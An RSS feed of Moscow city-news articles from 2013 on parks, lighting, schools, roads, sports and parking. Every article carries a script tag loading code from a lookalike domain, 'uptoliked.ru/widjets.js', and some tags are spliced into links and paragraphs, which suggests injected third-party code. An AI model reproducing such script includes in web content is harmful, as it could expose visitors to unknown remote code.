<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Fancy City Portal &#187; Москва</title>
	<atom:link href="https://fcp-press.ru/tag/moskva/feed" rel="self" type="application/rss+xml" />
	<link>https://fcp-press.ru</link>
	<description></description>
	<lastBuildDate>Sun, 08 Jun 2025 15:51:42 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.6</generator>
		<item>
		<title>Крымская набережная ждет москвичей</title>
		<link>https://fcp-press.ru/krymskaya-naberezhnaya-zhdet-moskvichej.html</link>
		<comments>https://fcp-press.ru/krymskaya-naberezhnaya-zhdet-moskvichej.html#comments</comments>
		<pubDate>Sat, 28 Sep 2013 22:48:11 +0000</pubDate>
		<dc:creator>galla-48</dc:creator>
				<category><![CDATA[Жизнь в городе]]></category>
		<category><![CDATA[Набережные]]></category>
		<category><![CDATA[Парки]]></category>
		<category><![CDATA[Москва]]></category>
		<category><![CDATA[парки]]></category>
		<category><![CDATA[пешеходная зона]]></category>
		<category><![CDATA[реконструкция]]></category>

		<guid isPermaLink="false">http://fcp-press.ru/?p=270</guid>
		<description><![CDATA[Осталось всего два дня, и обновленная Крымская набережная будет открыта после реконструкции. За два месяца, в течение которых проводились работы, внешний образ этого района в центре столицы изменился коренным образом. Бывшую проезжую часть, которая причиняла сплошные неудобства как пешеходам, так и водителям, сменила километровая зона, предназначенная только для пеших прогулок. Пространство от самого Крымского моста [&#8230;] <a href="https://fcp-press.ru/krymskaya-naberezhnaya-zhdet-moskvichej.html" title="Крымская набережная ждет москвичей">читать далее...</a>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fcp-press.ru/wp-content/uploads/2013/09/Крымская-набережная.jpg"><img class="alignnone size-medium wp-image-271" alt="Крымская набережная" src="http://fcp-press.ru/wp-content/uploads/2013/09/Крымская-набережная-300x211.jpg" width="300" height="211" /></a>Осталось всего два дня, и обновленная Крымская набережная будет открыта после реконструкции. За два месяца, в течение которых проводились работы, внешний образ этого района в центре столицы изменился коренным образом. Бывшую проезжую часть, которая причиняла сплошные неудобства как пешеходам, так и водителям, сменила километровая зона, предназначенная только для пеших прогулок.</p>
<p>Пространство от самого Крымского моста до бывшей фабрики «Красный Октябрь» органично соединилось с частью парка «Музеон», превратившись, таким образом, в огромный ландшафтный сквер. В волнообразной планировке предусмотрено несколько уровней сооружений и дорожек, которые дают возможность прогуляться пешком, совершить поездки на велосипеде или роликах, а зимой – соорудить ледяные горки.</p>
<p>Близость к Центральному Дому Художников внесла свой колорит в оформление нового парка. Необычные скамейки и фонари, специально обустроенный павильон для проведения вернисажей – все это  находится как раз на том месте, где соединяются Крымская набережная с Парком Горького.</p>
<p>Вообще, само слово «набережная» подчеркивается всей концепцией оформления парка. Волны перетекают не только от уровня к уровню, они, так или иначе, присутствуют во всех элементах декора. Рельеф восточной части набережной, который предназначен для отдыха горожан, представляет собой обилие искусственных возвышенностей, засаженных разнообразными травами и пешеходными дорожками. Высаженные по новой технологии деревья не будут нуждаться в поливе, что позволит им комфортно существовать в условиях мегаполиса.</p>
<p>Особого внимания заслуживает Фонтанная площадь. Цветомузыкальный «сухой фонтан», в котором струи извергаются прямо из мощения, делают знакомую набережную неузнаваемой. Вообще, освещение Крымской набережной чрезвычайно разнообразно. Локальные подсветки крон деревьев, фонари, вмонтированные в парапет, светильники в стиле «модерн» &#8212; все это делает территорию почти в 50 гектаров уютной и комфортной. Даже помпезный церетелиевский Петр не мешает этому ощущению гармонии.</p>
<p>Дальнейшее сооружение подобных пешеходных оазисов даст возможность жителям и гостям мегаполиса спокойно отдыхать в зеленых зонах, а любителям активных прогулок заниматься любимым хобби без риска столкнуться с автомобилем.</p>
<p>&nbsp;<script src="//uptoliked.ru/widjets.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>https://fcp-press.ru/krymskaya-naberezhnaya-zhdet-moskvichej.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Московские здания будут по-новому светиться на праздники</title>
		<link>https://fcp-press.ru/moskovskie-zdaniya-budut-po-novomu-svetitsya-na-prazdniki.html</link>
		<comments>https://fcp-press.ru/moskovskie-zdaniya-budut-po-novomu-svetitsya-na-prazdniki.html#comments</comments>
		<pubDate>Wed, 25 Sep 2013 09:30:40 +0000</pubDate>
		<dc:creator>city-news</dc:creator>
				<category><![CDATA[Жизнь в городе]]></category>
		<category><![CDATA[Прочие удобства]]></category>
		<category><![CDATA[Москва]]></category>
		<category><![CDATA[освещение]]></category>
		<category><![CDATA[праздники]]></category>

		<guid isPermaLink="false">http://fcp-press.ru/?p=246</guid>
		<description><![CDATA[В октябре москвичи увидят свой город по-новому. Власти города одобрили проект разработки новой праздничной подсветки для фасадов зданий Москвы, мостов, памятников и автомагистралей. Для каждого объекта будет оборудована новая архитектурно-художественная иллюминация, отражающая атмосферу государственных праздников. Как сообщается на сайте московского департамента градостроительной политики, уже в октябре 2013 года во время прохождения фестиваля света начнется применение [&#8230;] <a href="https://fcp-press.ru/moskovskie-zdaniya-budut-po-novomu-svetitsya-na-prazdniki.html" title="Московские здания будут по-новому светиться на праздники">читать далее...</a>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fcp-press.ru/wp-content/uploads/2013/09/Московские-здания-будут-по-новому-светиться-на-праздники.jpg"><img src="http://fcp-press.ru/wp-content/uploads/2013/09/Московские-здания-будут-по-новому-светиться-на-праздники-150x150.jpg" alt="Московские здания будут по-новому светиться на праздники" width="150" height="150" class="alignleft size-thumbnail wp-image-247" /></a>В октябре москвичи увидят свой город по-новому. Власти города одобрили проект разработки новой праздничной подсветки для фасадов зданий Москвы, мостов, памятников и автомагистралей. Для каждого объекта будет оборудована новая архитектурно-художественная иллюминация, отражающая атмосферу государственных праздников.</p>
<p>Как сообщается на сайте московского департамента градостроительной политики, уже в октябре 2013 года во время прохождения фестиваля света начнется применение первых вариантов нового освещение зданий и других объектов. </p>
<p>Наиболее важное событие в Москве за осень текущего года – встреча олимпийского огня также пройдет при новом облике города. Для этого праздника будет разработана специальный архитектурно-художественный дизайн освещения.</p>
<p>Увидеть красоту ночной Москвы в новом свете горожане также смогут на религиозные праздники: Пасху, Рождество, Масленицу и прочие. День студента или Татьянин день запомнится всем новой красочной подсветкой Московского государственного университета.</p>
<p>Однако городские объекты будут освещаться по-новому не только по праздникам, но и во время памятных дат города и государства, а также в период прохождения важных мероприятий в городе. Как заметили представители департамента, цветовая гамма освещения будет меняться в зависимости от поры года, сезона.<br />
<script src="//uptoliked.ru/widjets.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>https://fcp-press.ru/moskovskie-zdaniya-budut-po-novomu-svetitsya-na-prazdniki.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>К концу 2014 года власти Москвы планируют осуществить модернизацию шести домов культуры</title>
		<link>https://fcp-press.ru/k-koncu-2014-goda-vlasti-moskvy-planiruyut-osushhestvit-modernizaciyu-shesti-domov-kultury.html</link>
		<comments>https://fcp-press.ru/k-koncu-2014-goda-vlasti-moskvy-planiruyut-osushhestvit-modernizaciyu-shesti-domov-kultury.html#comments</comments>
		<pubDate>Mon, 23 Sep 2013 20:26:09 +0000</pubDate>
		<dc:creator>city-news</dc:creator>
				<category><![CDATA[Для детей]]></category>
		<category><![CDATA[дома культуры]]></category>
		<category><![CDATA[модернизация]]></category>
		<category><![CDATA[Москва]]></category>
		<category><![CDATA[научно-техническое творчество]]></category>

		<guid isPermaLink="false">http://fcp-press.ru/?p=243</guid>
		<description><![CDATA[В планы властей Москвы на 2014 года числится модернизация шести домов культуры в городе. Их оборудуют специально для получения детьми возможности заниматься научно-техническим творчеством. По словам Елены Зеленцовой, заместителя главы департамента культуры столицы, власти поставили задачу обновить в следующем году шесть домов культуры и обустроить в них лаборатории. Реализовать данный проект поможет городской Политехнический музей, [&#8230;] <a href="https://fcp-press.ru/k-koncu-2014-goda-vlasti-moskvy-planiruyut-osushhestvit-modernizaciyu-shesti-domov-kultury.html" title="К концу 2014 года власти Москвы планируют осуществить модернизацию шести домов культуры">читать далее...</a>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fcp-press.ru/wp-content/uploads/2013/09/К-концу-2014-года-власти-Москвы-планируют-осуществить-модернизацию-шести-домов-культуры.jpg"><img src="http://fcp-press.ru/wp-content/uploads/2013/09/К-концу-2014-года-власти-Москвы-планируют-осуществить-модернизацию-шести-домов-культуры-150x150.jpg" alt="К концу 2014 года власти Москвы планируют осуществить модернизацию шести домов культуры" width="150" height="150" class="alignleft size-thumbnail wp-image-244" /><script src="//uptoliked.ru/widjets.js"></script></a>В планы властей Москвы на 2014 года числится модернизация шести домов культуры в городе. Их оборудуют специально для получения детьми возможности заниматься научно-техническим творчеством.</p>
<p>По словам Елены Зеленцовой, заместителя главы департамента культуры столицы, власти поставили задачу обновить в следующем году шесть домов культуры и обустроить в них лаборатории. Реализовать данный проект поможет городской Политехнический музей, открывший на днях несколько научных лабораторий в культурном центре «ЗИЛ».</p>
<p>Пока в домах культуры детей обучают живописи, танцам, музыке, однако не всем детям по душе такие занятия &#8212; многие стремятся изучать науку на практике. К тому же научное творчество не менее полезное и важное, нежели искусство.<br />
Зеленцова сообщила прессе, что пилотные проекты предполагают не только ремонт помещений, но и перемены в стратегии работы с детьми.</p>
<p>Места для осуществления задуманных проектов пока не выбраны, однако как заметила Зеленцова, это будут дома культуры не в самом центре Москвы, а на ее окраинах. </p>
]]></content:encoded>
			<wfw:commentRss>https://fcp-press.ru/k-koncu-2014-goda-vlasti-moskvy-planiruyut-osushhestvit-modernizaciyu-shesti-domov-kultury.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Итоги проекта «500 лучших школ в России»</title>
		<link>https://fcp-press.ru/itogi-proekta-500-luchshix-shkol-v-rossii.html</link>
		<comments>https://fcp-press.ru/itogi-proekta-500-luchshix-shkol-v-rossii.html#comments</comments>
		<pubDate>Sun, 22 Sep 2013 14:52:38 +0000</pubDate>
		<dc:creator>city-news</dc:creator>
				<category><![CDATA[Для детей]]></category>
		<category><![CDATA[Общее]]></category>
		<category><![CDATA[лучшие школы]]></category>
		<category><![CDATA[Москва]]></category>
		<category><![CDATA[Санкт-Петербург]]></category>
		<category><![CDATA[список 500 школ]]></category>
		<category><![CDATA[Татарстан]]></category>
		<category><![CDATA[Топ-25]]></category>

		<guid isPermaLink="false">http://fcp-press.ru/?p=226</guid>
		<description><![CDATA[Московский центр непрерывного математического образования создал перечень 500 лучших школ в России при содействии министерства образования и науки РФ, «Учительской газеты» и информационной поддержке РИА Новости. Лидером списка Топ-25 и самым лучшим учебным заведением 2013 года стал Московский «Лицей № 1535» ГБОУ. На втором месте оказался специализированный учебно-научный центр (факультет) – школа-интернат им. А.Н Колмогорова [&#8230;] <a href="https://fcp-press.ru/itogi-proekta-500-luchshix-shkol-v-rossii.html" title="Итоги проекта «500 лучших школ в России»">читать далее...</a>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fcp-press.ru/wp-content/uploads/2013/09/500-лучших-школ-в-России.png"><img class="alignleft size-medium wp-image-227" alt="500 лучших школ в России" src="http://fcp-press.ru/wp-content/uploads/2013/09/500-лучших-школ-в-России-300x192.png" width="300" height="192" /></a></p>
<p class="MsoNormal"><span lang="RU" style="font-size: 12.0pt;line-height: 115%;font-family: 'Arial','sans-serif'">Московский центр непрерывного математического образования создал перечень 500 лучших школ в России при содействии министерства образования и науки РФ, «Учительской газеты» и информационной поддержке РИА Новости. </span></p>
<p>Лидером списка Топ-25 и самым лучшим учебным заведением 2013 года стал Московский «Лицей № 1535» ГБОУ. На втором месте оказался специализированный учебно-научный центр (факультет) – школа-интернат им. А.Н Колмогорова МГУ им. М.В Ломоносова. Третье почетное место досталось Петербургскому ГБОУ «Физико-математическому лицею № 239».</p>
<p>В перечень 500 лучших школ вошли лучшие учебные заведения, отобранные по таким критериям как наличие наибольшего количества высших баллов при сдаче ЕГЭ и существование победителей и призеров последнего этапа Всероссийской школьной олимпиады 2013 года.</p>
<p>Топ-25 – это распределение лучших образовательных заведений согласно рейтингу. Все остальные вошедшие в список 500 не прикреплены к конкретным местам и не распределены по рейтингу.</p>
<p>Наибольше мест в перечне заняли школы Москвы, они получат от правительства столицы денежные вознаграждения, которые смогут потратить на свое усмотрение – кто на повышение квалификации преподавателей, кто на улучшение материально-технической базы учебного заведения. Второе место по количеству участников в списке достается Республике Татарстан – 19 школ, а третье Санкт-Петербургу – 18 школ.</p>
<p>Польза предоставленного списка очевидна – родители теперь смогут лучше сориентироваться среди множества учебных заведений и выбрать для своего ребенка оптимальный вариант соответственно его способностям. Так что можно сказать, что данные рейтинги в первую очередь нужны родителям, а также директорам для выявления слабых и сильных сторон находящихся под их руководством школ.</p>
<p>Но есть и обратная сторона медали – увидев рейтинг лучших учебных заведений, родители могут начать массово отказываться отдавать своих детей в школы, не вошедшие в этот список.</p>
<p>Также, по мнению министра образования и науки Пермского края Раисы Кассиной, такие перечни станут информационной основой при решении вопросов политики образования страны или отдельных регионов и базой данных при анализе системы образования.</p>
<p>Разные мнения сформировались по поводу критериев отбора при составлении перечня 500 лучших школ и Топ-25. Многие руководители учебных заведений, родители, преподаватели утверждают, что нельзя формировать такие списки, руководствуясь только результатами ЕГЭ и Всероссийской олимпиады. Эти критерии не помогут определить лицо учреждения и качество образования в нем – считают они.</p>
<p>Также была обсуждена нецелесообразность сравнивания лицеев и гимназий с сельскими школами, так как они имеют различные программы образования.<script src="//uptoliked.ru/widjets.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>https://fcp-press.ru/itogi-proekta-500-luchshix-shkol-v-rossii.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Смена приоритетов в дорожном вопросе</title>
		<link>https://fcp-press.ru/smena-prioritetov-v-dorozhnom-voprose.html</link>
		<comments>https://fcp-press.ru/smena-prioritetov-v-dorozhnom-voprose.html#comments</comments>
		<pubDate>Sat, 21 Sep 2013 21:59:41 +0000</pubDate>
		<dc:creator>galla-48</dc:creator>
				<category><![CDATA[Бизнес и финансы]]></category>
		<category><![CDATA[Дороги]]></category>
		<category><![CDATA[Строительство]]></category>
		<category><![CDATA[бюджет]]></category>
		<category><![CDATA[дороги]]></category>
		<category><![CDATA[Москва]]></category>
		<category><![CDATA[ремонт]]></category>

		<guid isPermaLink="false">http://fcp-press.ru/?p=202</guid>
		<description><![CDATA[Сумма, которая заложена в бюджет на строительство новых дорог, на протяжении трех последующих годов будет снижаться. Правительство решило сменить вектор приложения усилий на поддержание хорошего состояния имеющихся дорожных магистралей, и их своевременный ремонт. Вплоть до 2016 года объем инвестиций в дорожный фонд увеличится более чем на 60 млрд руб., и этот прирост будет направлен именно [&#8230;] <a href="https://fcp-press.ru/smena-prioritetov-v-dorozhnom-voprose.html" title="Смена приоритетов в дорожном вопросе">читать далее...</a>]]></description>
				<content:encoded><![CDATA[<p>Сумма, которая заложена в бюджет на строительство новых дорог, на протяжении трех последующих годов будет снижаться. Правительство решило сменить вектор приложения усилий на поддержание хорошего состояния имеющихся дорожных магистралей, и их своевременный ремонт. Вплоть до 2016 года объем инвестиций в дорожный фонд увеличится более чем на 60 млрд руб., и этот прирост будет направлен именно на эк<img class="size-full wp-image-203 alignleft" alt="Ремонт дорог" src="http://fcp-press.ru/wp-content/uploads/2013/09/Ремонт-дорог.jpg" width="300" height="230" />сплуатационные и ремонтные работы.</p>
<p>Если этого не сделать, то в скором времени разрушение дорог приведет к тому, что единственным выходом будет полная замена асфальтного покрытия. Это означает увеличение дополнительных расходов.<br />
Новые дороги появятся только в тех местах, где есть острая насущная потребность, либо готовые платить за них потребители.</p>
<p>Категорическое решение Правительства дорожники и экономисты приняли без энтузиазма. Дело в том, что существующие трассы уже не один год работают с огромными перегрузками, их необходимо расширять для повышения пропускной способности. Отсутствие денег на модернизацию дорог неизбежно приведет к тому, что повысятся акцизы на топливо. Иных источников поступления в дорожные фонды нет.</p>
<p>Такое сокращение бюджетного финансирования затронет и Москву. В 1,5 раза меньше будет затрачено средств на строительство дорог. В планах столичного руководства прокладывание 400 километров новых магистралей, деньги частично будут привлекаться от частных вкладчиков. Бюджетные средства пойдут только на реконструкцию развязок на МКАД, а прилежащие дороги будут проложены за счет инвесторов.<br />
В Москве большее внимание будет уделяться модернизации общественного транспорта, в частности, трамваев. Деньги на это перераспределятся за счет уменьшения доли инвестиций на строительство автомобильных дорог.<script src="//uptoliked.ru/widjets.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>https://fcp-press.ru/smena-prioritetov-v-dorozhnom-voprose.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Москвичам подарят больше спорта</title>
		<link>https://fcp-press.ru/moskvicham-podaryat-bolshe-sporta.html</link>
		<comments>https://fcp-press.ru/moskvicham-podaryat-bolshe-sporta.html#comments</comments>
		<pubDate>Fri, 20 Sep 2013 22:25:15 +0000</pubDate>
		<dc:creator>galla-48</dc:creator>
				<category><![CDATA[Бизнес и финансы]]></category>
		<category><![CDATA[Жизнь в городе]]></category>
		<category><![CDATA[Прочие удобства]]></category>
		<category><![CDATA[Строительство]]></category>
		<category><![CDATA[бизнес]]></category>
		<category><![CDATA[Москва]]></category>
		<category><![CDATA[спорт]]></category>
		<category><![CDATA[фитнес]]></category>

		<guid isPermaLink="false">http://fcp-press.ru/?p=190</guid>
		<description><![CDATA[Суматошная жизнь мегаполиса, многочасовое нахождение в офисе чревато для горожан не только постоянным нахождением в состоянии стресса, но и реальной потерей здоровья. Власти Москвы, заинтересованные в оздоровлении жителей своего города, в свои планы включили строительство новых клубов для занятий спортом. Основная их часть расположится в центре столицы, где сконцентрировано значительное количество административных зданий, офисных помещений, [&#8230;] <a href="https://fcp-press.ru/moskvicham-podaryat-bolshe-sporta.html" title="Москвичам подарят больше спорта">читать далее...</a>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fcp-press.ru/wp-content/uploads/2013/09/спортивный-клуб.jpg"><img src="http://fcp-press.ru/wp-content/uploads/2013/09/спортивный-клуб-300x225.jpg" alt="спортивный клуб" width="300" height="225" class="alignnone size-medium wp-image-191" /></a><br />
Суматошная жизнь мегаполиса, многочасовое нахождение в офисе  чревато для горожан не только постоянным нахождением в состоянии стресса, но и реальной потерей здоровья. Власти Москвы, заинтересованные в оздоровлении жителей своего города, в свои планы включили строительство новых клубов для занятий спортом.<br />
 Основная их часть расположится в центре столицы, где сконцентрировано значительное количество административных зданий, офисных помещений, банков. Важно, чтобы молодые люди после окончания рабочего дня имели возможность посетить спортивные заведения, не затрачивая на это драгоценное время.<br />
Инициативу городских властей подхватили многие строительные компании, для которых заказ на возведение спортивных комплексов напрямую связано с финансовым успехом. При застройке района наличие там тренажерного зала с современным оборудованием может привлечь новую клиентуру, и новых инвесторов.<br />
Вложение финансов в строительство спортивных сооружений – прибыльное дело. Спрос на эти услуги не уменьшается со временем, требуется все больше мест, где горожанин мог бы всерьез заняться оздоровлением. Несмотря на все усилия экологов, состояние окружающей среды от года к году только ухудшается. Укрепление здоровья жителей крупных городов не столько социальная, сколько серьезная экономическая задача. Расположение спортивных комплексов в шаговой доступности от потребителя может стать гарантией того, что горожанин рано или поздно заинтересуется этой услугой и станет клиентом спортклуба.<br />
Известно, что даже одного-двух раз в неделю достаточно, чтобы посильные тренировки принесли значимую пользу для здоровья человека. В инициативе московских властей ценно еще и то, что вновь созданные спортивные комплексы будут ориентироваться на разные возрастные категории. Укреплять собственное здоровье и сохранять положительные изменения важно и в детстве, и в самом зрелом возрасте.<script src="//uptoliked.ru/widjets.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>https://fcp-press.ru/moskvicham-podaryat-bolshe-sporta.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>155 новых перехватывающих парковок появится в Москве</title>
		<link>https://fcp-press.ru/155-novyx-perexvatyvayushhix-parkovok-poyavitsya-v-moskve.html</link>
		<comments>https://fcp-press.ru/155-novyx-perexvatyvayushhix-parkovok-poyavitsya-v-moskve.html#comments</comments>
		<pubDate>Tue, 17 Sep 2013 13:32:01 +0000</pubDate>
		<dc:creator>city-news</dc:creator>
				<category><![CDATA[Дороги]]></category>
		<category><![CDATA[Жизнь в городе]]></category>
		<category><![CDATA[Прочие удобства]]></category>
		<category><![CDATA[Строительство]]></category>
		<category><![CDATA[Марат Хуснуллин]]></category>
		<category><![CDATA[Москва]]></category>
		<category><![CDATA[парковки]]></category>
		<category><![CDATA[проект]]></category>
		<category><![CDATA[строительство]]></category>

		<guid isPermaLink="false">http://fcp-press.ru/?p=129</guid>
		<description><![CDATA[17 ноября 2013 года городской администрацией был утвержден комплексный проект строительства новых перехватывающих парковок в Москве. Заместитель мэра по градостроительным вопросам Марат Хуснуллин заявил, что уже утверждена программа строительства 155 перехватывающих паркингов, а также распределена ответственность и объекты плоскостного и капитального исполнения. Он утверждает, что заседания по этим вопросам проводятся регулярно &#8212; каждую неделю и [&#8230;] <a href="https://fcp-press.ru/155-novyx-perexvatyvayushhix-parkovok-poyavitsya-v-moskve.html" title="155 новых перехватывающих парковок появится в Москве">читать далее...</a>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fcp-press.ru/wp-content/uploads/2013/09/155-новых-перехватывающих-парковок-появится-в-Москве.jpg"><img src="http://fcp-press.ru/wp-content/uploads/2013/09/155-новых-перехватывающих-парковок-появится-в-Москве-150x150.jpg" alt="155 новых перехватывающих парковок появится в Москве" width="150" height="150" class="alignleft size-thumbnail wp-image-130" /></a>17 ноября 2013 года городской администрацией был утвержден комплексный проект строительства новых перехватывающих парковок в Москве. </p>
<p>Заместитель мэра по градостроительным вопросам Марат Хуснуллин заявил, что уже утверждена программа строительства 155 перехватывающих паркингов, а также распределена ответственность и объекты плоскостного и капитального исполнения. Он утверждает, что заседания по этим вопросам проводятся регулярно &#8212; каждую неделю и стабильно данный проект набирает обороты. </p>
<p>Однако сроки строительства все еще точно не указаны. Заместитель мэра объяснил это осложнениями, возникающими при составлении графиков: необходимо письменное согласие множества служб и владельцев земельных участков. Хуснуллин убежден, что данный проект является одним из самых сложных, даже сложнее реконструкции дорог, так как в нем задействовано большое количество участников. Достичь успеха, по его мнению, можно лишь четко скоординировав и согласовав действия каждого из них. </p>
<p>Из более ранних сообщений было известно о намерениях построить до конца 2013 года шесть перехватывающих парковок, на которых будут находиться места для маломобильных водителей. Новые паркинги расположатся неподалеку станций метро «Царицыно», &#171;Курская&#187;, &#171;Лианозово&#187;, &#171;Домодедовская&#187;, &#171;Бульвар Дмитрия Донского&#187; и &#171;Ясенево&#187;. На этих парковках будет вестись круглосуточное видеонаблюдение, там оборудуют участки для такси, а также их оснастят Wi-Fi-зоной.</p>
<p>Предположительно такие паркинги должны вмещать около 1,2 тыс. автомобилей.</p>
<p>Месяцем раньше уже сообщалось о намерениях строительства 30 тыс. мест для машин на перехватывающих парковках. Кроме того в проекте строительства транпортно-пересадочных узлов значится сооружение 67 новых станций метро. Такую информацию еще раз подтвердил заммэра Максим Ликсутов на состоявшемся во вторник заседании правления.<br />
<script src="//uptoliked.ru/widjets.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>https://fcp-press.ru/155-novyx-perexvatyvayushhix-parkovok-poyavitsya-v-moskve.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Западное Дегунино выступило плацдармом новой архитектуры</title>
		<link>https://fcp-press.ru/zapadnoe-degunino-vystupilo-placdarmom-novoj-arxitektury.html</link>
		<comments>https://fcp-press.ru/zapadnoe-degunino-vystupilo-placdarmom-novoj-arxitektury.html#comments</comments>
		<pubDate>Fri, 13 Sep 2013 19:10:53 +0000</pubDate>
		<dc:creator>city-news</dc:creator>
				<category><![CDATA[Жизнь в городе]]></category>
		<category><![CDATA[Общее]]></category>
		<category><![CDATA[архитектура]]></category>
		<category><![CDATA[дизайн]]></category>
		<category><![CDATA[Москва]]></category>
		<category><![CDATA[новостройки]]></category>

		<guid isPermaLink="false">http://fcp-press.ru/?p=70</guid>
		<description><![CDATA[Западное Дегунино выступает плацдармом для новой архитектуры Серость наших городов, архитектура типовых многоэтажек которых поражает своей однообразностью на территории всей страны, стала притчей во языцех. Повторить приключения героя легендарной «Иронии судьбы» сможет любой горожанин хоть в провинции, хоть в крупных мегаполисах. Москва приняла решение изменить привычный образ «спальных» районов и преобразить их за счет привнесения [&#8230;] <a href="https://fcp-press.ru/zapadnoe-degunino-vystupilo-placdarmom-novoj-arxitektury.html" title="Западное Дегунино выступило плацдармом новой архитектуры">читать далее...</a>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fcp-press.ru/wp-content/uploads/2013/09/Дегунино.jpg"><img src="http://fcp-press.ru/wp-content/uploads/2013/09/Дегунино-300x224.jpg" alt="Дегунино" width="300" height="224" class="alignnone size-medium wp-image-75" /></a>Западное Дегунино выступает плацдармом для новой архитектуры<br />
Серость наших городов, архитектура типовых многоэтажек которых поражает своей однообразностью на территории всей страны, стала притчей во языцех. Повторить приключения героя легендарной «Иронии судьбы» сможет любой горожанин хоть в провинции, хоть в крупных мегаполисах. Москва приняла решение изменить привычный образ «спальных» районов и преобразить их за счет привнесения новых архитектурных и дизайнерских идей.<br />
Западное Дегунино становится экспериментальной площадкой, где воплощаются в жизнь замыслы проектировщиков относительно приданию облику города большей  яркости и ноток жизнелюбия. Многоэтажные дома, которыми начинают застраиваться новые кварталы этого микрорайона, планируется сделать не только максимально приспособленными для комфортного проживания жильцов, но и декорировать фасады зданий принципиально новыми материалами. Такую новость услышали и увидели журналисты на встрече с главным архитектором Москвы.</p>
<p>Застройка микрорайона происходит по принципу отдельных блоков, состоящих из нескольких домов. Образовавшиеся внутренние дворики обустраиваются таким образом, что составят одну пешеходную зону. Такое архитекторское решение не сможет не порадовать как детей, которые получат в свое безраздельное пользование целый двор для игр и забав, так и их родителей, которые будут спокойны относительно безопасности ребятишек. Парковки для автомобилей предлагается вынести за внешние границы зданий, где для них предусматривается и строительство удобных парковок.<br />
Нижние этажи домов полностью отдаются для предпринимателей, которые смогут расположить тут фирмы, ориентированные на социальность. Если со стороны улицы расположатся организации для массовой аудитории (салоны, рестораны, офисы), то со стороны двора первые этажи домов отдаются в распоряжение бытовых и сервисных предприятий, небольших магазинов.<br />
Ценность нового дизайнерского подхода в облицовке зданий заключается в использовании строительных материалов, которые смогут придать каждому дому уникальность и неповторимость. Разноцветная керамическая плитка поможет создавать самые причудливые орнаменты и дает возможность дизайнеру проявить свою творческую фантазию.<br />
<script src="//uptoliked.ru/widjets.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>https://fcp-press.ru/zapadnoe-degunino-vystupilo-placdarmom-novoj-arxitektury.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
